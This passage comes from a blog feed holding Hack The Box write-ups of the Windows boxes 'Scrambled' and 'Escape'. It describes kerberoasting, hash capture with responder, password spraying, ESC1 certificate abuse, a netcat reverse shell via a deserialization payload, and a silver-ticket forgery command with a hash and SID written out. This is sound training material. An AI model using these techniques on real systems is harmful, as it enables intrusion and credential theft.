<p>We also see port <code>80</code> (HTTP) is listening, port <code>1433</code> (MSSQL) is listening, port <code>4411</code> is listening which after a cursory google search say it might be “Found Messaging Protocol” which is something I&#39;ve never heard of, finally port <code>9389</code> is listening which might be for Active Directory Web Services. The domain is <code>scrm.local</code>, with the hostname being <code>DC1</code>.</p>

<p>We have a lot to work with and a lot to enumerate.</p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>I check SMB shares, it doesn&#39;t appear that they allow <code>Guest</code> or null authentication sessions.</p>

<p>I think my best chance to get some credentials is by enumerating the website on port <code>80</code>.</p>

<p>The website lists its an intranet for Scramble Corp, it has some stats and a page for IT Services. The IT Services page lists that NTLM authentication is disabled due to a recent breach.</p>

<p>Because NTLM is disabled, the ways I&#39;m used to authenticating are not going to work; however, I am prepared because I&#39;ve done the “Password Attacks” module on HTB Academy which goes into depth on interacting with Kerberos from Linux.</p>

<p>To authenticate to Kerberos, I need a keytab file. A keytab file stores long-term keys that allow authentication to Kerberos, which will provide a ccache file as long as my authentication remains valid. In order to communicate with the Kerberos Key Distribution Center (KDC), I need to configure <code>realm</code> and add the domain and realm to that. It is important to note that while these concepts are similar in function, domain and realm, they are two separate systems so do not think of them as placeholder names. The realm is the Linux system, and based on its configuration file it talks to a domain it is mapped to.</p>

<p>The domain is <code>scrm.local</code>, so our realm will be <code>SCRM.LOCAL</code>. When referencing either of these two things in this post, the realm will be in all capital letters, <code>SCRM.LOCAL</code>, and the domain will be in all lowercase, <code>scrm.local</code>.</p>

<p>In order to configure the realm, I needed to install <code>realm</code> and <code>krb5-user</code> from the repository. Once installed, I edited <code>/etc/krb5.conf</code> to add the realm.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040689/Pasted_image_20260305021000_emefzi.png" alt=""></p>

<p>I added <code>SCRM.LOCAL</code> as the default realm, and added the options under “realms” down below that. It is important to have both the domain and the hostname in your <code>/etc/hosts</code> file.</p>

<p>Down towards the bottom there is a section titles “domain_realm” that ties the domain and realms together.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040689/Pasted_image_20260305021126_nd1zpx.png" alt=""></p>

<p>With these options added, I can now contact the KDC, but first I need a keytab file. I&#39;m going to describe this process very verbosely because this is a learning opportunity for me to straighten out the process, and it might be for you as well.</p>

<p>I take the username I discovered above, <code>ksimpson</code>, and knowledge of their password reset policies, that they put the username as the password on reset, and make a keytab file with these credentials (not knowing if it will authenticate or not yet).</p>

<p>In a real-world situation, you could likely do some social engineering to leave a voicemail for the password reset as they request, but for this box the password is already reset.</p>

<h2 id="kerberos-authentication-for-tgt">Kerberos Authentication for TGT</h2>

<p>With the credentials, we create the keytab file using <code>ktutil</code>. Launching this problem brings me to a separate command line, where I can enter the specifics of the credentials.</p>

<pre><code class="language-shell">ktutil
</code></pre>

<p><strong>I need to stress here that is is very important that you notate the REALM, which if you&#39;re following along will be in ALL CAPS, if you do not, then this keytab file will not work</strong>.</p>

<pre><code class="language-ktutil">addent -password -p ksimpson@SCRM.LOCAL -k 1 -e RC4-HMAC
</code></pre>

<p>This will then prompt for the password for <code>ksimpson</code>, which we think is the same as the username from the password reset.</p>

<pre><code class="language-ktutil">wkt /home/username/Scrambled/ksimpson.keytab
</code></pre>

<p>This writes the keytab to the path listed. Using the <code>~</code> for your home directory doesn&#39;t work here so make sure you have the full path without it.</p>

<p>I check the keytab file with <code>klist</code> and verify that it looks correct:</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040689/Pasted_image_20260305021742_tqjalm.png" alt=""></p>

<p>I have two keytab files here, one where I did not capitalize the realm correctly (top one) and was getting errors when attempting to use it. When attempting to use that file the error I was getting was “kinit: Cannot find KDC for realm <code>scrm.local</code> while getting initial credentials.” Its stating that the realm <code>scrm.local</code> is not configured with a KDC, which is correct because the realm I have configured is <code>SCRM.LOCAL</code>.</p>

<p>With my keytab file, I can attempt to get a ccache file (authenticate to Kerberos) with <code>kinit</code>. <code>kinit</code> will request the user&#39;s Ticket Granting Ticket (TGT) and store this ticket in the ccache file, which for me by default is <code>/tmp/krb5cc_1000</code>.</p>

<pre><code class="language-shell">kinit ksimpson@SCRM.LOCAL -k -t ~/Scrambled/ksimpson..keytab
</code></pre>

<p>This will attempt to authenticate to Kerberos using the keytab file and generate a TGT for the user. If any errors come up, its likely that you didn&#39;t capitalize the realm somewhere.</p>

<p>I verify I have the TGT with <code>klist</code>, this lists what services are authenticated. In the screenshot below I just have the TGT.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040690/Pasted_image_20260305022936_a2rxv4.png" alt=""></p>

<p>To show an example of what a bad authentication looks like, with incorrect password we would get an error during <code>kinit</code> that the credentials are incorrect.</p>

<p>I generated a new keytab file with an incorrect password and attempted to authenticate.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040691/Pasted_image_20260305023202_nifhhs.png" alt=""></p>

<p>I&#39;ll clear this out by deleting the keytab file. If you want to clear an authenticated session, you can delete the <code>/etc/krb5cc_1000</code> file.</p>

<p>Here is a list of every step I took:
    1. Find username and likely credentials (screenshot on webpage, password reset policy).
    2. Install <code>krb5-user</code>, <code>realm</code>, <code>kinit</code>, <code>klist</code>, <code>ktutil</code>.
    3. Configure <code>/etc/krb5.conf</code> with the realm and domain, paying close attention to capitalization of the realm.
    4. Generate keytab file using <code>ktutil</code>.
    5. Authenticate to Kerberos using <code>kinit</code> to get TGT.</p>

<h2 id="authenticated-enumeration">Authenticated Enumeration</h2>

<p>Finally, with an authenticated user, I can start enumerating.</p>

<p>I first enumerate the SMB shares as <code>ksimpson</code>, although this doesn&#39;t provide much besides a PDF detailing some changes they made after the compromise. This PDF might be helpful later.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040691/Pasted_image_20260305030338_e7pwqb.png" alt=""></p>

<p>I start enumerating LDAP as well to see what other users exist on the domain, and accounts that may be vulnerable. I add the users to my <code>usernames.list</code>, and enumerate the password policy, which has no threshold so there is no chance of account lockout.</p>

<p>I see some interesting accounts that may be service accounts in the list, so I kerberoast them and get a hit on <code>sqlsvc</code>, likely the MSSQL service account. I plug this hash into <code>hashcat</code> and it returns the password of the service account.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040693/Pasted_image_20260305033245_pjajiy.png" alt=""></p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>Using the same method listed above with <code>ktutil</code>, I generate a keytab file and authenticate as <code>sqlsvc</code> to the domain.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040693/Pasted_image_20260305041423_h0baxi.png" alt=""></p>

<p>I attempt to authenticate to the MSSQL database as <code>sqlsvc</code> using the kcache that we generated from <code>kinit</code>, but I keep getting an error “KDC<em>ERR</em>WRONG_REALM”.</p>

<p>Since I cannot get a TGS from Kerberos for this, I&#39;ll make one myself with the Impacket script <code>ticketer</code>.</p>

<p>I grab the domain SID, get the NTLM hash of the <code>sqlsvc</code> password, and generate the TGS but as <code>Administrator</code>, because why not.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040694/Pasted_image_20260305043512_aaox9b.png" alt=""></p>

<p>I export this to my <code>KRB5CCNAME</code> variable and connect using Impacket&#39;s <code>mssqlclient</code>, which lets me in.</p>

<p>In the database, I enumerate the data in there and find additional credentials for the <code>miscsvc</code> account we saw before.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040688/Pasted_image_20260305043647_ujoy0p.png" alt=""></p>

<p>With access to the database as <code>administrator</code>, I can read the flags, but we want to get full control over this machine. I grab both flags and continue.</p>

<p>I enumerate the <code>miscsvc</code> user and do not find anything relevant, I checked DACLs, certipy, BloodHound, and don&#39;t find anything. The <code>miscsvc</code> user has access to the “IT” share, which contains an executable and a DLL file for the Sales Order Client application, but without a Windows PC setup to run it I do not pursue this, initially. I briefly tried to get <code>WINE</code> to work, but had no luck at all.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>I look over the DLL file using <code>ilSpycmd</code> and see some of the commands that can be sent over the port to the service. I connect using netcat and attempt to logon, but I can&#39;t get the logon function to work; however, it doesn&#39;t seem that you even need to logon to communicate with the server. I send the <code>LIST_ORDERS</code> command and get back what looks like base64 encoded information.</p>

<p>I end up stopping at this point, assuming I needed to use the executable to get further, and checked the walkthrough to see what the privilege escalation path is. The rest of the attack involves, according to the walkthrough, pouring over the DLL and finding an account that does not need password authentication, using that account to login to the program to generate a log file, identify the weak serialization and exploit it by sending data to call another program on the computer, ideally <code>netcat</code> or a shell.</p>

<p>What I ended up doing was downloading the <code>ysoserial.net</code> program that they mention in the walkthrough, generating the payload using it, and sending that via the listening port <code>4411</code> using the <code>SEND_ORDER</code> command, then having the running service call <code>netcat</code> to initiate a reverse shell as <code>SYSTEM</code>. I wouldn&#39;t have gotten to this far even with using the executable.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>This box was fun because it was a change of pace in dealing with an AD domain. I believe more modern deployments of AD have NTLM turned off by default, so getting used to using Kerberos is a good thing. This box involved exploiting weak serialization, which I spotted, but I had no idea how to exploit. I&#39;ll be looking for more information in understanding these types of attacks in the future.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/scrambled</guid>
      <pubDate>Mon, 09 Mar 2026 12:32:44 +0000</pubDate>
    </item>
    <item>
      <title>Escape </title>
      <link>https://blog.jjnetops.net/escape</link>
      <description>&lt;![CDATA[Escape is a medium difficulty Windows box. The box involves pillaging SMB shares for low-privilege MS SQL credentials, capturing an NTLM hash from the service account, using that service account&#39;s access to move laterally, then abusing a weak certificate template that allows us to escalate privilege to Administrator.&#xA;!--more--&#xA;This box went pretty quick, I don&#39;t have much to say about it. The most interesting part of this box for me was the alternate method of getting the flags, the Silver Ticket Attack, which I&#39;ll discuss at the end.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;SMB Pillaging&#xA;MSSQL Credential Capture&#xA;Getting Remote Access&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Silver Ticket Attack&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;rpcclient - A tool for enumerating MS-RPC on Linux.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used ticketer and mssqlclient, which allows you to maliciously interact with a Windows system.&#xA;hashcat - Hash cracking program.&#xA;responder - A MiTM program for capturing credentials or hashes.&#xA;certipy - A program for primarily interacting with AD Certificate Services, but has other uses as well. &#xA;dsacls) - A program native to Windows for enumerating AD ACLs.&#xA;smbclient - Part of the Samba Suite, this program allows you to interact with SMB shares from Linux.&#xA;netcat - Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an nmap scan.&#xA;snaffler - A Windows program for searching for credentials on a filesystem.&#xA;&#xA;nmap scan&#xA;&#xA;Initial nmap scan shows ports open for a WIndows Active Directory (AD) Domain Controller (DC). Kerberos, SMB, RPC, LDAP, LDAPS, WinRM are all listening. The entry into this box is through MSSQL, I guess I needed to wait a few more minutes for the service to come up, because its not showing up on the initial scan.&#xA;&#xA;No unusual ports seem to be listening. I see that the device has the hostname dc.sequel.htb. Because the server is using Kerberos, I need to sync my clock with the DC to ensure no errors.&#xA;&#xA;SMB Pillaging&#xA;&#xA;I begin by enumerating the SMB shares, since they have a likelihood of having some information that can help us get a foothold. I see through netexec that null auth session is enabled, but while attempting to enumerate shares with a null auth session, I get &#34;access denied&#34;. I attempt to use the null auth session with smbclient and I can successfully list shares, including a non-standard share named &#34;Public&#34;.&#xA;&#xA;Inside the &#34;Public&#34; folder there is only a single PDF file named &#34;SQL Server Procedures&#34; which I pull down and inspect.&#xA;&#xA;The PDF file gives me a lot of good information: First, it details that there is a mock SQL server instance on the DC; second, that they are using stored credentials with cmdkey; third, it exposes a user account brandom.brown@sequel.htb; fourth, it gives me a low-privilege test account to access the SQL server with.&#xA;&#xA;The issue I run into here, is that I do not see a SQL server listening, which complicates things. I run a UDP scan using nmap to see if there is a SQL browser port listening. I test with netcat to see if the port is listening and nmap just missed it, and that seems to be the case. The port is showing open when connecting with netcat. Running a scan against that individual report shows it being open. I can only guess that I ran the nmap scan too quickly before the service was started.&#xA;&#xA;MSSQL Credential Capture&#xA;&#xA;Knowing that the port is listening, I connect using impacket-mssqlclient and check what options are available. The RECONFIGURE command is not allowed by our PublicUser account, and there are no databases to enumerate, so I try the xpdirtree command,  which attempts to list files in a directory, even if its remote. If I point this command at my machine and run responder, I can capture the credentials of the service account running the SQL server when it authenticates to responder.&#xA;&#xA;I capture the NTLMv2 hash for the account sqlsvc, put it into a file, and feed it to hashcat for cracking. Hashcat makes short work of this hash with the basic &#34;rockyou.txt&#34; wordlist and returns the password for the account.&#xA;&#xA;With a domain account, the hard part is done. I start enumerating the domain, first by getting the users and password policy, then looking for weak accounts that can give me privilege escalation.&#xA;&#xA;I use netexec to enumerate all the users, and add their usernames to my username.list file for possible spraying.&#xA;&#xA;I use netexec again to get the password policy, which shows no threshold for lockouts.&#xA;&#xA;I do a quick spray with the sqlsvc password against all user accounts and come back with only the known one, sqlsvc.&#xA;&#xA;I try enumerating some more information using ldapsearch, but it seems like I&#39;m not authorized to view the domain access control lists (DACLs). I do see that sqlsvc is part of the Remote Management Users group, so we have remote access to the machine where I&#39;ll start enumerating shortly. Before that, I check the other users that we enumerated to see who else has interesting groups, and the only one who does is ryan.cooper, who also has Remote Management Users. This tells me that we&#39;re likely intended to move laterally to ryan.cooper, who may have more permissions than sqlsvc.&#xA;&#xA;Getting Remote Access&#xA;&#xA;I login to the box using evil-winrm as the sqlsvc user and begin looking for misconfigurations or credentials. From a meta perspective, I know I need to move laterally to ryan.cooper, but in a real world engagement I may not know that so I&#39;m going to keep enumerating normally. I check dsacls.exe for weak permissions and don&#39;t find any.&#xA;&#xA;I run a scan with winPEAS and do not find any obvious information to move laterally or escalate privileges.&#xA;&#xA;I run a scan with certipy to see if sqlsvc has access to any weak certificate templates and nothing comes up.&#xA;&#xA;I dig around in the file system a bit looking for information and find the SQL Express install directory, I look around in the directory and there is a logs folder with a file titled &#34;ERRORLOG.BAK&#34;. After downloading and looking through the file, I find a line where the user ryan.cooper is attempting to login but seemingly fails , and in this same string of logs an attempt is made by NuclearMosquito3, which could possibly be the password of ryan.cooper if they are entering it too quickly and accidentally enter it as the username.&#xA;&#xA;I try this username and password, and sure enough I get remote access to the machine as the ryan.cooper user.&#xA;&#xA;It feels a little game-y, but I have definitely had this happen to me before when logging into multiple things.&#xA;&#xA;Lateral Movement&#xA;&#xA;I check the user account ryan.cooper and don&#39;t see anything immediately available for privilege escalation. I use snaffler to search for passwords but do not find anything. I know that the ryan.cooper user does not have any special privileges to abuse on DACL, so I run certipy again as the user and see an ESC1 template available.&#xA;&#xA;Its interesting that I see this because both ryan.cooper and sqlsvc are part of the same groups and have effectively the same permissions.&#xA;&#xA;Privilege Escalation&#xA;&#xA;The privilege escalation is simple with this template, we use certipy to enroll in the certificate and supply administrator@sequel.htb as the Subject Alternative Name (SAN). After the request, I get a PFX certificate back and use certipy auth to get the NTLM hash for the Administrator user.&#xA;&#xA;With the NTLM hash for the Administrator user, I authenticate using Pass-the-Hash and grab the root flag.&#xA;&#xA;I was curious why ryan.cooper could enroll in the certificate and sqlsvc couldn&#39;t, so I enabled RDP and connected to check the settings on the Certificate Services module.&#xA;&#xA;I see in the &#34;Security&#34; tab for the template that we abused, UserAuthentication, that sqlsvc is specifically denied from doing anything with this template, including viewing it. Again, that feels a little game-y, as I don&#39;t know why you would do that specifically for the account and not use some kind of group to do that, but I don&#39;t have a lot of experience administering an Active Directory environment so maybe specifically denying users from something is normal.&#xA;&#xA;I think its cool to also see the certificate that was issued. You can see the subject is ryan.cooper, but the SAN is administrator@sequel.htb, which is what is checked when doing the authentication with certipy auth. I forgot to take a screenshot of it, but its a certificate for ryan.cooper@sequel.htb, but the Subject Alternative Name lists Administrator@sequel.htb.&#xA;&#xA;Silver Ticket Attack&#xA;&#xA;I reviewed the walkthrough after doing the box, as well as watching the IppSec video, and saw that there is another method of privilege escalation through a silver ticket attack. In this attack, you forge a Ticket Granting Service (TGS) ticket on behalf of a user so you can interact with the service as a different user. In order for this attack to work, you need the password of the service account running the service.&#xA;&#xA;The beauty of this attack, explained in this blog post that was linked in the walkthrough, is that because it is a TGS ticket you present to a service, Kerberos is not involved at all to validate the ticket. This means that we can forge a ticket for Administrator for access to the MSSQL service (because we get the password for sqlsvc, which is the account running the service), and abuse Administrator&#39;s privileges through MSSQL. As the walkthrough and IppSec demonstrate, you can read the flags directly as Administrator. Its important to note that xpcmdshell does not give privileges as the forged user because it is spawned by the service account running the service.&#xA;&#xA;I&#39;ll really quickly demonstrate how this silver ticket attack works.&#xA;&#xA;What you need:&#xA;&#x9;NTLM hash for the service account of the service you want to authenticate to. In the walkthrough, they point you to this website, but IppSec shows a way of generating one using Python.&#xA;&#x9;Domain SID, this is easy enough to get. The walkthrough states you can get it through Get-LocalUser and trimming off the last &#34;-&#34; and the numbers that follow it.&#xA;&#x9;Domain name, this is simple enough.&#xA;&#xA;Using these resources you craft the TGS using impacket-ticketer with the following command:&#xA;&#xA;impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip 10.129.14.125 -spn sqlsvc/DC.SEQUEL.HTB Administrator&#xA;&#xA;The SPN is irrelevant, but as IppSec states, it is easier to identify this attack if the SPN doesn&#39;t match an actual user, so I just put sqlsvc.&#xA;&#xA;This generates a .ccache file that you can export to the KRB5CCNAME variable and use for Kerberos authentication.&#xA;&#xA;Once you have it set, you can connect to the MSSQL as Administrator.&#xA;&#xA;From here you can read the flags directly. I tried doing some privilege escalation but could not figure out how to copy files without using the expanded procedures, which are executed as the service account. You can write files and read files as Administrator, but I&#39;m not sure how to turn that into full access. This site has some ideas for escalation of privilege with privileges file writes, but without the ability to copy files it is difficult to set them up.&#xA;&#xA;Lessons Learned&#xA;&#xA;This box was short and sweet, especially after Authority last week, which really humbled me. My biggest challenge on this box was finding credentials for the ryan.cooper user, which just took time and requires experience on Windows machines and knowing what is &#34;usually there&#34; and what isn&#39;t. I might look at some other options, as I haven&#39;t had much success with some of these scripts/programs that search for interesting files.&#xA;&#xA;One other thing I&#39;d like to do is learn how to enumerate certificate templates from PowerShell without any programs. My next Windows box I&#39;m going to try enumerating them through PowerShell instead of Certipy  and seeing what comes back.&#xA;&#xA;Thanks for reading.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Escape is a medium difficulty Windows box. The box involves pillaging SMB shares for low-privilege MS SQL credentials, capturing an NTLM hash from the service account, using that service account&#39;s access to move laterally, then abusing a weak certificate template that allows us to escalate privilege to <code>Administrator</code>.

This box went pretty quick, I don&#39;t have much to say about it. The most interesting part of this box for me was the alternate method of getting the flags, the Silver Ticket Attack, which I&#39;ll discuss at the end.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#smb-pillaging">SMB Pillaging</a></li>
<li><a href="#mssql-credential-capture">MSSQL Credential Capture</a></li>
<li><a href="#getting-remote-access">Getting Remote Access</a></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#silver-ticket-attack">Silver Ticket Attack</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html">rpcclient</a> – A tool for enumerating MS-RPC on Linux.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>ticketer</code> and <code>mssqlclient</code>, which allows you to maliciously interact with a Windows system.
<a href="https://hashcat.net/hashcat/">hashcat</a> – Hash cracking program.
<a href="https://github.com/SpiderLabs/Responder">responder</a> – A MiTM program for capturing credentials or hashes.
<a href="https://github.com/ly4k/Certipy">certipy</a> – A program for primarily interacting with AD Certificate Services, but has other uses as well.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">dsacls</a> – A program native to Windows for enumerating AD ACLs.
<a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">smbclient</a> – Part of the Samba Suite, this program allows you to interact with SMB shares from Linux.
<a href="https://netcat.sourceforge.net/">netcat</a> – Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an <code>nmap</code> scan.
<a href="https://github.com/SnaffCon/Snaffler">snaffler</a> – A Windows program for searching for credentials on a filesystem.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>Initial <code>nmap</code> scan shows ports open for a WIndows Active Directory (AD) Domain Controller (DC). Kerberos, SMB, RPC, LDAP, LDAPS, WinRM are all listening. The entry into this box is through MSSQL, I guess I needed to wait a few more minutes for the service to come up, because its not showing up on the initial scan.</p>

<p>No unusual ports seem to be listening. I see that the device has the hostname <code>dc.sequel.htb</code>. Because the server is using Kerberos, I need to sync my clock with the DC to ensure no errors.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606250/Pasted_image_20260301191610_je7mhk.png" alt=""></p>

<h2 id="smb-pillaging">SMB Pillaging</h2>

<p>I begin by enumerating the SMB shares, since they have a likelihood of having some information that can help us get a foothold. I see through <code>netexec</code> that null auth session is enabled, but while attempting to enumerate shares with a null auth session, I get “access denied”. I attempt to use the null auth session with <code>smbclient</code> and I can successfully list shares, including a non-standard share named “Public”.</p>

<p>Inside the “Public” folder there is only a single PDF file named “SQL Server Procedures” which I pull down and inspect.</p>

<p>The PDF file gives me a lot of good information: First, it details that there is a mock SQL server instance on the DC; second, that they are using stored credentials with <code>cmdkey</code>; third, it exposes a user account <code>brandom.brown@sequel.htb</code>; fourth, it gives me a low-privilege test account to access the SQL server with.</p>

<p>The issue I run into here, is that I do not see a SQL server listening, which complicates things. I run a UDP scan using <code>nmap</code> to see if there is a SQL browser port listening. I test with <code>netcat</code> to see if the port is listening and <code>nmap</code> just missed it, and that seems to be the case. The port is showing open when connecting with <code>netcat</code>. Running a scan against that individual report shows it being open. I can only guess that I ran the <code>nmap</code> scan too quickly before the service was started.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606251/Pasted_image_20260301194000_kre6s5.png" alt=""></p>

<h2 id="mssql-credential-capture">MSSQL Credential Capture</h2>

<p>Knowing that the port is listening, I connect using <code>impacket-mssqlclient</code> and check what options are available. The <code>RECONFIGURE</code> command is not allowed by our <code>PublicUser</code> account, and there are no databases to enumerate, so I try the <code>xp_dirtree</code> command,  which attempts to list files in a directory, even if its remote. If I point this command at my machine and run <code>responder</code>, I can capture the credentials of the service account running the SQL server when it authenticates to <code>responder</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606253/Pasted_image_20260301194942_oympbi.png" alt=""></p>

<p>I capture the NTLMv2 hash for the account <code>sql_svc</code>, put it into a file, and feed it to <code>hashcat</code> for cracking. <code>Hashcat</code> makes short work of this hash with the basic “rockyou.txt” wordlist and returns the password for the account.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606153/Pasted_image_20260301195206_edxato.png" alt=""></p>

<p>With a domain account, the hard part is done. I start enumerating the domain, first by getting the users and password policy, then looking for weak accounts that can give me privilege escalation.</p>

<p>I use <code>netexec</code> to enumerate all the users, and add their usernames to my <code>username.list</code> file for possible spraying.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606154/Pasted_image_20260301195613_t0unzs.png" alt=""></p>

<p>I use <code>netexec</code> again to get the password policy, which shows no threshold for lockouts.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606154/Pasted_image_20260301195840_bqhmou.png" alt=""></p>

<p>I do a quick spray with the <code>sql_svc</code> password against all user accounts and come back with only the known one, <code>sql_svc</code>.</p>

<p>I try enumerating some more information using <code>ldapsearch</code>, but it seems like I&#39;m not authorized to view the domain access control lists (DACLs). I do see that <code>sql_svc</code> is part of the <code>Remote Management Users</code> group, so we have remote access to the machine where I&#39;ll start enumerating shortly. Before that, I check the other users that we enumerated to see who else has interesting groups, and the only one who does is <code>ryan.cooper</code>, who also has <code>Remote Management Users</code>. This tells me that we&#39;re likely intended to move laterally to <code>ryan.cooper</code>, who may have more permissions than <code>sql_svc</code>.</p>

<h2 id="getting-remote-access">Getting Remote Access</h2>

<p>I login to the box using <code>evil-winrm</code> as the <code>sql_svc</code> user and begin looking for misconfigurations or credentials. From a meta perspective, I know I need to move laterally to <code>ryan.cooper</code>, but in a real world engagement I may not know that so I&#39;m going to keep enumerating normally. I check <code>dsacls.exe</code> for weak permissions and don&#39;t find any.</p>

<p>I run a scan with <code>winPEAS</code> and do not find any obvious information to move laterally or escalate privileges.</p>

<p>I run a scan with <code>certipy</code> to see if <code>sql_svc</code> has access to any weak certificate templates and nothing comes up.</p>

<p>I dig around in the file system a bit looking for information and find the SQL Express install directory, I look around in the directory and there is a logs folder with a file titled “ERRORLOG.BAK”. After downloading and looking through the file, I find a line where the user <code>ryan.cooper</code> is attempting to login but seemingly fails , and in this same string of logs an attempt is made by <code>NuclearMosquito3</code>, which could possibly be the password of <code>ryan.cooper</code> if they are entering it too quickly and accidentally enter it as the username.</p>

<p>I try this username and password, and sure enough I get remote access to the machine as the <code>ryan.cooper</code> user.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606156/Pasted_image_20260302190007_kvr7jv.png" alt=""></p>

<p>It feels a little game-y, but I have definitely had this happen to me before when logging into multiple things.</p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>I check the user account <code>ryan.cooper</code> and don&#39;t see anything immediately available for privilege escalation. I use <code>snaffler</code> to search for passwords but do not find anything. I know that the <code>ryan.cooper</code> user does not have any special privileges to abuse on DACL, so I run <code>certipy</code> again as the user and see an ESC1 template available.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606157/Pasted_image_20260302195408_dmaylu.png" alt=""></p>

<p>Its interesting that I see this because both <code>ryan.cooper</code> and <code>sql_svc</code> are part of the same groups and have effectively the same permissions.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>The privilege escalation is simple with this template, we use <code>certipy</code> to enroll in the certificate and supply <code>administrator@sequel.htb</code> as the Subject Alternative Name (SAN). After the request, I get a PFX certificate back and use <code>certipy auth</code> to get the NTLM hash for the <code>Administrator</code> user.</p>

<p>With the NTLM hash for the <code>Administrator</code> user, I authenticate using Pass-the-Hash and grab the root flag.</p>

<p>I was curious why <code>ryan.cooper</code> could enroll in the certificate and <code>sql_svc</code> couldn&#39;t, so I enabled RDP and connected to check the settings on the Certificate Services module.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606158/Pasted_image_20260302195812_w97hse.png" alt=""></p>

<p>I see in the “Security” tab for the template that we abused, <code>UserAuthentication</code>, that <code>sql_svc</code> is specifically denied from doing anything with this template, including viewing it. Again, that feels a little game-y, as I don&#39;t know why you would do that specifically for the account and not use some kind of group to do that, but I don&#39;t have a lot of experience administering an Active Directory environment so maybe specifically denying users from something is normal.</p>

<p>I think its cool to also see the certificate that was issued. You can see the subject is <code>ryan.cooper</code>, but the SAN is <code>administrator@sequel.htb</code>, which is what is checked when doing the authentication with <code>certipy auth</code>. I forgot to take a screenshot of it, but its a certificate for <code>ryan.cooper@sequel.htb</code>, but the <code>Subject Alternative Name</code> lists <code>Administrator@sequel.htb</code>.</p>

<h2 id="silver-ticket-attack">Silver Ticket Attack</h2>

<p>I reviewed the walkthrough after doing the box, as well as watching the <a href="https://www.youtube.com/watch?v=PS2duvVcjws">IppSec video</a>, and saw that there is another method of privilege escalation through a silver ticket attack. In this attack, you forge a Ticket Granting Service (TGS) ticket on behalf of a user so you can interact with the service as a different user. In order for this attack to work, you need the password of the service account running the service.</p>

<p>The beauty of this attack, explained in <a href="netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/silver-ticket-attack/">this blog post</a> that was linked in the walkthrough, is that because it is a TGS ticket you present to a service, Kerberos is not involved at all to validate the ticket. This means that we can forge a ticket for <code>Administrator</code> for access to the MSSQL service (because we get the password for <code>sql_svc</code>, which is the account running the service), and abuse <code>Administrator</code>&#39;s privileges through MSSQL. As the walkthrough and IppSec demonstrate, you can read the flags directly as <code>Administrator</code>. Its important to note that <code>xp_cmdshell</code> does not give privileges as the forged user because it is spawned by the service account running the service.</p>

<p>I&#39;ll really quickly demonstrate how this silver ticket attack works.</p>

<p>What you need:
    1. NTLM hash for the service account of the service you want to authenticate to. In the walkthrough, they point you to <a href="https://codebeautify.org/ntlm-hash-generator">this website</a>, but IppSec shows a way of generating one using Python.
    2. Domain SID, this is easy enough to get. The walkthrough states you can get it through <code>Get-LocalUser</code> and trimming off the last “–” and the numbers that follow it.
    3. Domain name, this is simple enough.</p>

<p>Using these resources you craft the TGS using <code>impacket-ticketer</code> with the following command:</p>

